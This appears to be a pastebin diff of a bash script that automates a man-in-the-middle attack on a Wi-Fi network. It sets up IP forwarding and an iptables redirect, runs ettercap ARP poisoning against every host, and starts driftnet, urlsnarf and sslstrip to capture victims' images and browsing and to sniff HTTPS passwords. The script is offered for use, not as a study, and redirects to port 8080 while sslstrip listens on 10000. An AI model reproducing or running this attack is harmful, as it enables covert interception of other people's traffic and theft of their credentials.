View difference between Paste ID: bh1gGZS6 and cE9BTk9Z
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash 
2
3
## DEF AND CONFIG ##
4
iface="wlan0" ; # CHANGE IT WITH YOUR INTERFACE
5-
path="$HOME/EVIL_tmp" ; #CHANGE IT YOUT 
5+
path="$HOME/EVIL_tmp" ; #CHANGE IT WITH YOUR PATH
6
7
fun_check () {
8
	if [ $UID -eq 0 ]
9
		then	
10
			echo	
11
			echo "[ok] check UID"
12
		else
13
			echo
14
			echo "[fail] need to be root!"
15
			exit 
16
	fi
17
	
18
	echo
19
	echo "check dependences:"
20
	which sslstrip > /dev/null || sudo apt-get install sslstrip
21
	which dsniff > /dev/null || sudo apt-get install dsniff
22
	which ettercap > /dev/null || sudo apt-get install ettercap
23-
	which driftnet > dev/null || sudo apt-get install driftnet
23+
	which driftnet > /dev/null || sudo apt-get install driftnet
24-
	which urlsnarf > dev/null || echo "urlsnarf not present" exit 
24+
	which urlsnarf > /dev/null || echo "urlsnarf not present" exit 
25
	}
26
	
27
fun_setup () {
28
	mkdir $path 
29
		if [ $? -eq 0 ]
30
			then
31
				echo
32
				echo "[ok] path created"
33
			else
34
				echo
35
				echo "[fail] impossibile create folder"
36
				exit 
37
		fi 
38
	echo "1" > /proc/sys/net/ipv4/ip_forward 
39
		if [ $? -eq 0 ]
40
			then
41
				echo
42
				echo "[ok] ip forward propely set up"
43
			else
44
				echo
45
				echo "[fail] impossibile set up ip_forward"
46
				exit 
47
		fi
48
	iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT  --to-port 8080
49
		if [ $? -eq 0 ]
50
			then
51
				echo
52
				echo "[ok] iptables propely set up"
53
			else
54
				echo 
55
				echo "[fail] impossibile set up iptables"
56
				exit 
57
		fi
58
	echo 
59
	echo "setup complete!!"
60
	}
61
fun_attack () {
62
63
	xterm -e ettercap -TqM arp:oneway,remote // // -i $iface
64
	if [ $? -eq 0 ]
65
			then
66
				echo
67
				echo "[ok] ettercap started"
68
			else
69
				echo 
70
				echo "[fail] ettercap not started"
71
				exit 
72
	fi
73
		
74
	#This will start driftnet to capture images on your computer
75
	xterm -e driftnet -i $iface -d $path &
76
	if [ $? -eq 0 ]
77
			then
78
				echo
79
				echo "[ok] driftnet started"
80
			else
81
				echo 
82
				echo "[fail] driftnet not started"
83
				 
84
	fi
85
	
86
	#This will start URLSnarf to show the websites the victim browses
87
	xterm -e urlsnarf -i $iface &
88
	if [ $? -eq 0 ]
89
			then
90
				echo
91
				echo "[ok] urlsnarf started"
92
			else
93
				echo 
94
				echo "[fail] urlsnarf not started"
95
				
96
	fi
97
	
98
	#This command will start SSLStrip to start sniffing https:// passwords
99
 	xterm -e sslstrip -k -f -l 10000 2> /dev/null
100
 	if [ $? -eq 0 ]
101
			then
102
				echo
103
				echo "[ok] sslstrip started"
104
			else
105
				echo 
106
				echo "[fail] sslstrip not started"
107
				
108
	fi
109
 	exit 0
110
}
111
112
fun_help () {
113
	echo "put here how to use your script"
114
	echo "bla bla bla bla"
115
}
116
117
fun_help
118
119
fun_check
120
121
fun_setup
122
123
fun_attack
124
125
exit 0